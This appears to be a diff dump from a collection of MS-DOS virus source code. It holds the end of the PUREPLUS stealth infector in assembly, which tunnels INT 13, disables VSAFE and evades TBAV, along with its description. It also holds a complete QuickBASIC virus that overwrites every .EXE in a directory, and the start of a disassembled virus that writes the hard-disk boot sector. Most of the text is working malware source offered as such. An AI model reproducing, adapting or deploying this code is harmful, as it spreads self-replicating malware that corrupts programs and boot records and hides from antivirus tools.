FIND_FIRST equ 04e00h
|
||||
FIND_NEXT equ 04f00h
|
||||
FIRST_FCB equ 05ch
|
||||
FLUSH_BUFFERS equ 00d00h
|
||||
FOUR_BYTES equ 004h
|
||||
GET_DTA equ 02f00h
|
||||
GET_ERROR_LEVEL equ 04d00h
|
||||
HARD_DISK_ONE equ 081h
|
||||
HIDDEN equ 002h
|
||||
HIGH_BYTE equ 00100h
|
||||
HMA_SEGMENT equ 0ffffh
|
||||
INT_13_VECTOR equ 0004ch
|
||||
JOB_FILE_TABLE equ 01220h
|
||||
KEEP_CF_INTACT equ 002h
|
||||
KEYBOARD_INT equ 016h
|
||||
MAX_SECTORS equ 078h
|
||||
MULTIPLEX_INT equ 02fh
|
||||
NEW_EXE_HEADER equ 00040h
|
||||
NEW_EXE_OFFSET equ 018h
|
||||
NULL equ 00000h
|
||||
ONLY_READ equ 000h
|
||||
ONLY_WRITE equ 001h
|
||||
ONE_BYTE equ 001h
|
||||
OPEN_W_HANDLE equ 03d00h
|
||||
PARAMETER_TABLE equ 001f1h
|
||||
READ_A_SECTOR equ 00201h
|
||||
READ_ONLY equ 001h
|
||||
READ_W_HANDLE equ 03f00h
|
||||
REMOVE_NOP equ 001h
|
||||
RESET_CACHE equ 00001h
|
||||
RESIZE_MEMORY equ 04a00h
|
||||
SECOND_FCB equ 06ch
|
||||
SECTOR_SIZE equ 00200h
|
||||
SETVER_SIZE equ 018h
|
||||
SHORT_JUMP equ 0ebh
|
||||
SIX_BYTES equ 006h
|
||||
SMARTDRV equ 04a10h
|
||||
SYSTEM equ 004h
|
||||
SYS_FILE_TABLE equ 01216h
|
||||
TERMINATE_W_ERR equ 04c00h
|
||||
THREE_BYTES equ 003h
|
||||
TWENTY_HEX equ 020h
|
||||
TWENTY_THREE equ 017h
|
||||
TWO_BYTES equ 002h
|
||||
UNINSTALL equ 05945h
|
||||
UN_SINGLE_STEP equ not(00100h)
|
||||
VERIFY_3SECTORS equ 00403h
|
||||
VOLUME_LABEL equ 008h
|
||||
VSAFE equ 0fa01h
|
||||
WRITE_A_SECTOR equ 00301h
|
||||
WRITE_W_HANDLE equ 04000h
|
||||
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
|
||||
PURE_CODE_IS_AT equ 00147h
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
bios_seg segment at 0f000h ;just some dummy area that was needed
|
||||
org 00000h ;to have the compilier make a far jmp
|
||||
old_int_13_addr label word ;directive EAh later on
|
||||
bios_seg ends
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET ;com files seem to always start here
|
||||
com_code:
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
jmp short disable_vsafe
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
|
||||
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
|
||||
;simple EXE header that we have imbedded the virii into
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
ax_cx_di_si_cld proc near ;sets varables for modifying sector
|
||||
mov di,bx ;ES:BX is int 13 sector set di to bx
|
||||
add di,PURE_CODE_IS_AT-COM_OFFSET
|
||||
ax_cx_si_cld: call set_si ;get location of code in HMA
|
||||
set_si: pop si ;and subtract the offset
|
||||
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
|
||||
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
|
||||
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
|
||||
das ;set zero flag for the compare later on
|
||||
cld ;clear direction
|
||||
ret
|
||||
ax_cx_di_si_cld endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
|
||||
;must be here because the MZ 4Dh,5Ah
|
||||
;.EXE header identifier gets changed to
|
||||
;jmp 015C EAh,5Ah by changing one byte
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
disable_vsafe proc near ;while we are here lets allow other virii
|
||||
mov dx,UNINSTALL ;it sure is nice to have a simple
|
||||
mov ax,VSAFE ;call to do this
|
||||
int KEYBOARD_INT
|
||||
disable_vsafe endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
alloc_memory proc near ;clear disk buffers so reads are done
|
||||
mov ah,high(FLUSH_BUFFERS)
|
||||
int DOS_INT ;from disk and not from memory
|
||||
xor di,di ;set it to zero
|
||||
mov ds,di ;to set the DS there
|
||||
mov bh,high(SECTOR_SIZE)
|
||||
dec di ;now set it to FFFFh
|
||||
mov ax,ALLOCATE_HMA ;lets see how much memory is available
|
||||
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
|
||||
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
|
||||
mov bx,RESET_CACHE ;infection. it sure is nice to have
|
||||
int MULTIPLEX_INT ;a simple call to do this
|
||||
mov bl,SIX_BYTES ;for setting int 1 to tunnel
|
||||
inc di ;if dos <5.0 or no HMA di is FFFFh
|
||||
jz find_name ;if no memory don't install
|
||||
call ax_cx_si_cld ;get varables for copy to HMA
|
||||
rep movs byte ptr es:[di],cs:[si]
|
||||
alloc_memory endp ;then copy it to ES:DI in HMA
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
set_int_13 proc near ;setting int 1 vectors for tunnelling
|
||||
mov ax,offset interrupt_one
|
||||
xchg word ptr ds:[bx-TWO_BYTES],ax
|
||||
push ax ;great way to set interrupts
|
||||
push word ptr ds:[bx];just push them on the stack for latter
|
||||
mov word ptr ds:[bx],cs
|
||||
xchg cx,di ;cx was 0, di was last byte of HMA code
|
||||
mov dl,HARD_DISK_ONE;doesn't really matter which drive
|
||||
pushf ;save the flags with TF cleared
|
||||
pushf ;push flags for simulated int 13 call
|
||||
pushf ;push flags for setting TF
|
||||
mov bp,sp ;get the stack pointer
|
||||
mov ax,VERIFY_3SECTORS
|
||||
or byte ptr ss:[bp+ONE_BYTE],al
|
||||
popf ;set TF and direction and call int 13
|
||||
dw FAR_INDEX_CALL,INT_13_VECTOR
|
||||
popf ;restore flags
|
||||
pop word ptr ds:[bx];and int 1 vectors back
|
||||
pop word ptr ds:[bx-TWO_BYTES]
|
||||
set_int_13 endp ;now int 13 has our code hooked into it
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
find_name proc near ;now lets find out who we are to reload
|
||||
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
|
||||
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
|
||||
cmp word ptr ds:[bx-FOUR_BYTES],di
|
||||
jne look_for_nulls ;the plan is to goto the end of our
|
||||
find_name endp ;environment and look for 2 nulls
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
open_file proc near ;open current program and read header
|
||||
push ds ;to see if the header was restored back
|
||||
push bx ;save the program name on the stack
|
||||
mov ch,THREE_BYTES ;read in 768 bytes of header
|
||||
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
||||
push cs ;set es to cs for compare of sector
|
||||
pop es ;to infected sector
|
||||
mov bx,dx ;get varables set correctly for compare
|
||||
call convert_back ;compare them and convert them back
|
||||
pop dx ;get file name again
|
||||
pop ds
|
||||
jne now_run_it ;if int 13 converted it back then run it
|
||||
push ds ;else save file name again on stack
|
||||
push dx
|
||||
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
||||
call call_dos ;open current program for reads (don't set any alarms)
|
||||
push bx ;save handle
|
||||
int MULTIPLEX_INT ;get job file table for handle
|
||||
mov dx,SYS_FILE_TABLE
|
||||
xchg ax,dx ;done like this for anti TBAV hueristic scan
|
||||
mov bl,byte ptr es:[di]
|
||||
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
|
||||
pop bx ;get handle again
|
||||
mov ch,high(SECTOR_SIZE)
|
||||
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
|
||||
cmpsw ;simple code to change open file to
|
||||
stosb ;write back the cleaned header to file
|
||||
mov dx,offset critical_error+COM_OFFSET
|
||||
int DOS_INT ;this cleans the file if virii didn't load in HMA
|
||||
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
|
||||
call reclose_it ;set SFT to not change file date and time at close
|
||||
pop dx ;get file name again from the stack
|
||||
pop ds
|
||||
open_file endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
now_run_it proc near ;setup the exec of current program again
|
||||
push cs ;like a spawned file
|
||||
pop es ;es now cs
|
||||
mov bx,offset exec_table
|
||||
mov ah,high(RESIZE_MEMORY)
|
||||
int DOS_INT ;first resize memory
|
||||
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
|
||||
xchg bx,si ;set si to where the table varables are
|
||||
mov di,bx ;set di to where 14 byte exec table is to be made
|
||||
mov ax,EXEC_PROGRAM ;set ax for file execute
|
||||
set_table: scasw ;advance 2 bytes in destination table
|
||||
movs byte ptr es:[di],cs:[si]
|
||||
scasb ;move a byte then check if next byte is nonzero
|
||||
mov word ptr cs:[di],cs
|
||||
je set_table ;fill in the code segment into table and jmp if still zero
|
||||
call call_dos ;exec program again
|
||||
mov ax,FIND_FIRST ;need to infect more EXE files
|
||||
mov dx,offset exe_file_mask
|
||||
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
|
||||
find_next_file: call call_dos ;set cx to 15 to loop that many times
|
||||
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
|
||||
int DOS_INT ;get it
|
||||
add bx,FILENAME_OFFSET
|
||||
push es ;get the filename into ds:bx
|
||||
pop ds
|
||||
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
||||
mov ah,high(FIND_NEXT)
|
||||
loop find_next_file ;loop until no more matches
|
||||
done: mov ah,high(GET_ERROR_LEVEL)
|
||||
int DOS_INT ;get spawned childs program errorlevel
|
||||
mov ah,high(TERMINATE_W_ERR)
|
||||
now_run_it endp ;and return with that same errorlevel
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
call_dos proc near ;routine to call dos
|
||||
int DOS_INT ;call dos
|
||||
jc done ;error in doing so then exit
|
||||
xchg ax,bx ;set bx to ax for open file stuff
|
||||
push cs ;set ds to cs
|
||||
pop ds ;for all sorts of stuff
|
||||
mov ax,JOB_FILE_TABLE
|
||||
ret ;get job file table
|
||||
call_dos endp ;(done here for anti TBAV hueristic scan)
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
|
||||
;these are used to create the 14 byte exec
|
||||
;table to rerun program
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes
|
||||
mov dx,bx ;set dx to bx for dos call to open file
|
||||
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
||||
call call_dos ;just open it for reading (don't sound any alarms)
|
||||
mov dx,offset critical_error
|
||||
mov ax,DOS_SET_INT+CRITICAL_INT
|
||||
int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler
|
||||
inc dh ;just some dummy area outside in the heap to read the header of the file to
|
||||
mov ah,high(READ_W_HANDLE)
|
||||
int DOS_INT ;read it
|
||||
reclose_it: mov ah,high(CLOSE_HANDLE)
|
||||
jmp short call_dos ;goto close it
|
||||
open_n_read_exe endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:????
|
||||
cmp ax,VERIFY_3SECTORS
|
||||
jne interrupt_ret ;if not doing int 13 stuff just leave
|
||||
push ds ;push varables on stack
|
||||
pusha
|
||||
mov bp,sp ;make bp the sp
|
||||
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
|
||||
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
|
||||
jne go_back ;compare the instruction to a far call function
|
||||
mov si,word ptr ds:[si+THREE_BYTES]
|
||||
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
|
||||
jne go_back ;compare the address of the call to segment FFFFh
|
||||
cld ;if match then cx is pointing to the far call EAh at
|
||||
mov di,cx ;the end of virii that needs to be updated
|
||||
movsw ;move the address to our code
|
||||
movsw ;far addresses are 4 bytes long
|
||||
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
|
||||
org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
|
||||
mov word ptr ds:[si-FOUR_BYTES],di
|
||||
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
|
||||
go_back: popa ;no longer need to singel step
|
||||
pop ds ;pop off varables
|
||||
critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
|
||||
interrupt_ret: iret ;dual useage of iret. critical error and int 1
|
||||
interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
convert_back proc near ;will convert virii sector es:bx back to clean sector
|
||||
call ax_cx_di_si_cld ;get all them varables
|
||||
repe cmps byte ptr cs:[si],es:[di]
|
||||
jne not_pure ;does it compare byte for byte with our code
|
||||
xor byte ptr ds:[bx],ah
|
||||
call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature
|
||||
rep stosb ;and zero out all the code
|
||||
not_pure: ret ;go back to where you once belonged
|
||||
convert_back endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
convert_to proc near ;will convert sector ds:bx into virii infected
|
||||
pusha ;save varables onto stack
|
||||
stc ;say that we failed
|
||||
pushf ;push failed onto the stack
|
||||
mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
|
||||
cmp word ptr ds:[bx],ax
|
||||
jne not_exe_header ;if not an EXE header then not interested
|
||||
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
|
||||
cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file
|
||||
ja not_exe_header ;if not then not interested
|
||||
cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested
|
||||
je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
|
||||
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
|
||||
jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested
|
||||
call ax_cx_di_si_cld ;get all them varables
|
||||
pusha ;save'em
|
||||
repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector
|
||||
popa ;get'em again
|
||||
jne not_exe_header ;if not then not interested
|
||||
xor byte ptr ds:[bx],ah
|
||||
rep movs byte ptr es:[di],cs:[si]
|
||||
popf ;if all criteria were met for infection then modify sector in memory and insert virii
|
||||
clc ;pop off the fail indicator
|
||||
pushf ;and push on the passed indicator
|
||||
not_exe_header: popf ;get passed/failed indicator
|
||||
popa ;get varables from stack
|
||||
ret ;go back to where you once belonged
|
||||
convert_to endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
|
||||
int_13_entry: cmp ah,high(READ_A_SECTOR)
|
||||
jb call_old_int_13 ;only interested in reads, writes and verifys
|
||||
cmp ah,high(VERIFY_3SECTORS)
|
||||
ja call_old_int_13 ;if otherwise then go to old int 13
|
||||
push ds ;save ds
|
||||
push es ;so we can make ds the same as es and save a few bytes
|
||||
pop ds
|
||||
call convert_to ;try to convert it to a virii sector
|
||||
pushf ;set up for interrupt simulation
|
||||
push cs ;push the cs onto the stack for the iret
|
||||
call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read
|
||||
pushf ;save the result of the int 13 call
|
||||
call convert_to ;does it need to be converted to a virii sector
|
||||
pusha ;save the varables onto the stack
|
||||
jc do_convertback ;if not then see if it needs cleaning
|
||||
mov ax,WRITE_A_SECTOR
|
||||
pushf ;now lets write the virii infected sector back to disk
|
||||
push cs ;simulate an int 13 execution
|
||||
call call_old_int_13 ;and do it
|
||||
do_convertback: call convert_back ;does the sector need to be cleaned on the fly
|
||||
popa ;if it just wrote to the disk then it will need to be cleaned
|
||||
popf ;or if it is a virii infected sector then clean it
|
||||
pop ds ;pop off the varables and the result of int 13 simulation done above
|
||||
retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact
|
||||
interrupt_13 endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
signature db 'Q' ;must leave my calling card
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
|
||||
;must be a far jmp at the last of the sector
|
||||
;the address of the jmp is in the heap area
|
||||
;and is filled in by the int 1 trace routine
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS
|
||||
jmp far ptr old_int_13_addr
|
||||
call_old_int_13 endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET+SECTOR_SIZE
|
||||
;overwrites the address of above but that address
|
||||
;is not necessary until the virii goes resident in the HMA
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
goto_dos proc near ;this is our simple EXE file that we infected
|
||||
mov ax,TERMINATE_W_ERR
|
||||
nop ;it just simply ends
|
||||
far_ptr_addr: int DOS_INT ;terminate program
|
||||
goto_dos endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
pureplus endp ;close up and go home
|
||||
cseg ends
|
||||
end com_code
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
Virus Name: PUREPLUS
|
||||
Aliases:
|
||||
V Status: New, Research Viron
|
||||
Discovery: March, 1994
|
||||
Symptoms: None - Pure Stealth
|
||||
Origin: USA
|
||||
Eff Length: 441 Bytes
|
||||
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
|
||||
Detection Method: None
|
||||
Removal Instructions: See Below
|
||||
|
||||
General Comments:
|
||||
|
||||
The PUREPLUS virus is a HMA memory resident overwriting direct action
|
||||
infector. The virus is a pure 100% stealth virus with no detectable
|
||||
symptoms. No file length increase; overwritten .EXE files execute
|
||||
properly; no interrupts are directly hooked; no change in file date or
|
||||
time; no change in available memory; INT 12 is not moved; no cross
|
||||
linked files from CHKDSK; when resident the virus cleans programs on
|
||||
the fly; works with all 80?86 processors; VSAFE.COM does not detect
|
||||
any changes; Thunder Byte's Heuristic virus detection does not detect
|
||||
the virus; Windows 3.1's built in warning about a possible virus does
|
||||
not detect PUREPLUS.
|
||||
|
||||
The PUREPLUS is a variation of the PURE virus that will cause
|
||||
VSAFE.COM to uninstall.
|
||||
|
||||
The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
|
||||
The first time an infected .EXE file is executed, the virus goes
|
||||
memory resident in the HMA (High Memory Area). The hooking of INT 13
|
||||
is accomplished using a tunnelling technique, so memory mapping
|
||||
utilities will not map it to the virus in memory. It then reloads the
|
||||
infected .EXE file, cleans it on the fly, then executes it. After the
|
||||
program has been executed, PUREPLUS will attempt to infect 15 .EXE
|
||||
files in the current directory.
|
||||
|
||||
If the PUREPLUS virus is unable to install in the HMA or clean the
|
||||
infected .EXE on the fly, the virus will reopen the infected .EXE file
|
||||
for read-only; modify the system file table for write; remove itself,
|
||||
and then write the cleaned code back to the .EXE file. It then
|
||||
reloads the clean .EXE file and executes it. The virus can not clean
|
||||
itself on the fly if the disk is compressed with DBLSPACE or STACKER,
|
||||
so it will clean the infected .EXE file and write it back. It will
|
||||
also clean itself on an 8086 or 8088 processor.
|
||||
|
||||
It will infect an .EXE if it is executed, opened for any reason or
|
||||
even copied. When an uninfected .EXE is copied, both the source and
|
||||
destination .EXE file are infected.
|
||||
|
||||
The PUREPLUS virus overwrites the .EXE header if it meets certain
|
||||
criteria. The .EXE file must be less than 62K. The file does not
|
||||
have an extended .EXE header. The file is not SETVER.EXE. The .EXE
|
||||
header must be all zeros from offset 71 to offset 512; this is where
|
||||
the PUREPLUS virus writes it code. The PUREPLUS virus then changes
|
||||
the .EXE header to a .COM file. Files that are READONLY can also be
|
||||
infected.
|
||||
|
||||
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
|
||||
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
|
||||
less than 62k. The virus will remove itself from each .EXE program
|
||||
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
|
||||
an infected .EXE file, then use a tape backup unit to copy all your
|
||||
files. The files on the tape have had the virus removed from them.
|
||||
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
|
||||
system. Restore from tape all the files back to your system.
|
1085
MSDOS/Virus.MSDOS.Unknown.pw15.asm
Normal file
1085
MSDOS/Virus.MSDOS.Unknown.pw15.asm
Normal file
File diff suppressed because it is too large
Load Diff
1104
MSDOS/Virus.MSDOS.Unknown.pw16.asm
Normal file
1104
MSDOS/Virus.MSDOS.Unknown.pw16.asm
Normal file
File diff suppressed because it is too large
Load Diff
1145
MSDOS/Virus.MSDOS.Unknown.pw17.asm
Normal file
1145
MSDOS/Virus.MSDOS.Unknown.pw17.asm
Normal file
File diff suppressed because it is too large
Load Diff
73
MSDOS/Virus.MSDOS.Unknown.qb.bas
Normal file
73
MSDOS/Virus.MSDOS.Unknown.qb.bas
Normal file
@ -0,0 +1,73 @@
|
||||
A QB Virus
|
||||
|
||||
Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is....
|
||||
|
||||
DEFINT A-Z
|
||||
'$INCLUDE: 'qb.bi'
|
||||
DECLARE FUNCTION ProgramName$ ()
|
||||
SHELL "DIR /b *.exeé¨é"
|
||||
OPEN "é¨é" FOR BINARY AS #1
|
||||
IF LOF(1) = 0 THEN CLOSE : KILL "é¨é": GOTO endit
|
||||
CLOSE
|
||||
OPEN "é¨é" FOR INPUT AS #1
|
||||
1 LINE INPUT #1, host$
|
||||
GOSUB infect
|
||||
endit:
|
||||
crdate$ = "ÎËÓÏÍ"
|
||||
FOR i = 1 TO LEN(crdate$)
|
||||
cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE)
|
||||
NEXT
|
||||
IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message
|
||||
PRINT "Program to big to fit in memory"
|
||||
END
|
||||
infect:
|
||||
OPEN host$ FOR BINARY AS #2
|
||||
IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1
|
||||
CLOSE
|
||||
doit$ = "copy " + ProgramName$ + " " + host$ + "nul"
|
||||
SHELL doit$
|
||||
CLOSE : GOSUB endit
|
||||
END
|
||||
message:
|
||||
CLS
|
||||
FOR i = 1 TO 25 * 19.2
|
||||
PRINT "°±²Û";
|
||||
COLOR RND * 14 + 1
|
||||
NEXT
|
||||
DO: LOOP UNTIL INKEY$ < ""
|
||||
CLS
|
||||
PRINT
|
||||
msg$ = "öîßÌËÙÔ<C399>ääð<C3A4>...î"<EFBFBD>œ""š<EFBFBD>ïÔ-<EFBFBD>ùÈÎÅÃÂ<EFBFBD>ýÅØÃƧ"
|
||||
FOR i = 1 TO 37
|
||||
PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD);
|
||||
NEXT
|
||||
FUNCTION ProgramName$ STATIC
|
||||
DIM Regs AS RegType 'Allocate space for TYPE
|
||||
' RegType
|
||||
Regs.ax = &H5100 'DOS function 51h
|
||||
Interrupt &H21, Regs, Regs ' Get PSP Address
|
||||
DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt.
|
||||
EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address
|
||||
DEF SEG = EnvSeg% 'Set environment address
|
||||
DO
|
||||
Byte% = PEEK(Offset%) 'Take a byte
|
||||
IF Byte% = 0 THEN 'Items are ASCIIZ
|
||||
Count% = Count% + 1 ' terminated
|
||||
IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated
|
||||
EXIT DO 'Exit at the end
|
||||
ELSEIF Count% = 2 THEN 'Last entry in env. is
|
||||
EXEFlag% = -1 ' terminated with two
|
||||
Offset% = Offset% + 2 ' NULs. Two bytes ahead
|
||||
END IF ' is the EXE file name.
|
||||
ELSE 'If Byte% < 0, reset
|
||||
Count% = 0 ' zero counter
|
||||
IF EXEFlag% THEN 'If EXE name found,
|
||||
Temp$ = Temp$ + CHR$(Byte%) ' build string
|
||||
END IF
|
||||
END IF
|
||||
Offset% = Offset% + 1 'To grab next byte...
|
||||
LOOP 'Do it again
|
||||
DEF SEG 'Reset default segment
|
||||
ProgramName$ = Temp$ 'Return value
|
||||
Temp$ = "" 'Clean up
|
||||
END FUNCTION
|
685
MSDOS/Virus.MSDOS.Unknown.qmu.asm
Normal file
685
MSDOS/Virus.MSDOS.Unknown.qmu.asm
Normal file
@ -0,0 +1,685 @@
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
org 100h
|
||||
|
||||
start: jmp l_0CBD ;0100 E9 0BBA
|
||||
d_0103 db 'J' ;0103 4A
|
||||
|
||||
;=============================================================
|
||||
; Victim code here
|
||||
;-------------------------------------------------------------
|
||||
org 076Bh
|
||||
|
||||
;=============================================================
|
||||
; begin of virus code
|
||||
;-------------------------------------------------------------
|
||||
|
||||
;-------BOF pattern (jump into virus & contamination ptr)
|
||||
db 0E9h ;076B E9
|
||||
d_0101 dw 0682Ah ;jump distance ;076C 2A 68
|
||||
db 'J' ;076E 4A
|
||||
|
||||
;=============================================================
|
||||
; Partition table buffer (content not constant)
|
||||
;-------------------------------------------------------------
|
||||
r_0104: jmp short l_0775 ;076F EB 04
|
||||
db 90h ;0771 90
|
||||
db 'QQ' ;0772 51 51
|
||||
db 64h ;0774 64
|
||||
l_0775: push cs ;0775 0E
|
||||
pop ax ;0776 58
|
||||
cmp ax,0 ;0777 3D 0000
|
||||
je l_077F ;077A 74 03
|
||||
jmp short l_07D2 ;077C EB 54
|
||||
db 90h ;077E 90
|
||||
l_077F: cmp byte ptr cs:[7C05h],0 ;077F 2E: 80 3E 7C05 00
|
||||
jne l_0799 ;0785 75 12
|
||||
l_0787: mov ax,310h ;0787 B8 0310
|
||||
mov cx,1 ;078A B9 0001
|
||||
mov dx,80h ;078D BA 0080
|
||||
mov bx,0 ;0790 .BB 0000
|
||||
int 13h ;0793 CD 13
|
||||
stc ;0795 F9
|
||||
cli ;0796 FA
|
||||
jc l_0787 ;0797 72 EE
|
||||
l_0799: xor ax,ax ;0799 33 C0
|
||||
mov es,ax ;079B 8E C0
|
||||
dec byte ptr cs:[7C05h] ;079D 2E: FE 0E 7C05
|
||||
mov ax,301h ;07A2 B8 0301
|
||||
mov cx,1 ;07A5 B9 0001
|
||||
mov dx,80h ;07A8 BA 0080
|
||||
mov bx,7C00h ;07AB .BB 7C00
|
||||
int 13h ;07AE CD 13
|
||||
mov ax,1000h ;07B0 B8 1000
|
||||
mov es,ax ;07B3 8E C0
|
||||
mov ax,0 ;07B5 B8 0000
|
||||
mov ds,ax ;07B8 8E D8
|
||||
mov di,7C00h ;07BA .BF 7C00
|
||||
mov si,di ;07BD 8B F7
|
||||
cld ;07BF FC
|
||||
mov cx,200h ;07C0 B9 0200
|
||||
rep movsb ;07C3 F3/ A4
|
||||
mov ax,1000h ;07C5 B8 1000
|
||||
push ax ;07C8 50
|
||||
mov ax,7C00h ;07C9 B8 7C00
|
||||
push ax ;07CC 50
|
||||
mov bp,sp ;07CD 8B EC
|
||||
;* jmp dword ptr [bp] ;07CF FF 6E 00
|
||||
db 0FFh, 6Eh, 00h ;07CF FF 6E 00
|
||||
l_07D2: xor ax,ax ;07D2 33 C0
|
||||
mov ds,ax ;07D4 8E D8
|
||||
mov ax,27Bh ;07D6 B8 027B
|
||||
mov ds:[0413h],ax ;07D9 A3 0413
|
||||
mov ax,9F00h ;07DC B8 9F00
|
||||
mov es,ax ;07DF 8E C0
|
||||
mov bx,0100h ;07E1 .BB 0100
|
||||
mov al,8 ;07E4 B0 08
|
||||
mov ah,2 ;07E6 B4 02
|
||||
mov ch,0 ;07E8 B5 00
|
||||
mov cl,3 ;07EA B1 03
|
||||
mov dh,0 ;07EC B6 00
|
||||
mov dl,80h ;07EE B2 80
|
||||
int 13h ;07F0 CD 13
|
||||
xor ax,ax ;07F2 33 C0
|
||||
mov ds,ax ;07F4 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;07F6 C7 06 03D4 4A4D
|
||||
mov ax,48Bh ;07FC B8 048B
|
||||
mov ds:[0070h],ax ;07FF A3 0070
|
||||
mov word ptr ds:[0072h],9F00h ;0802 C7 06 0072 9F00
|
||||
mov ax,0 ;0808 B8 0000
|
||||
mov es,ax ;080B 8E C0
|
||||
mov bx,7C00h ;080D .BB 7C00
|
||||
mov ah,2 ;0810 B4 02
|
||||
mov al,1 ;0812 B0 01
|
||||
mov ch,0 ;0814 B5 00
|
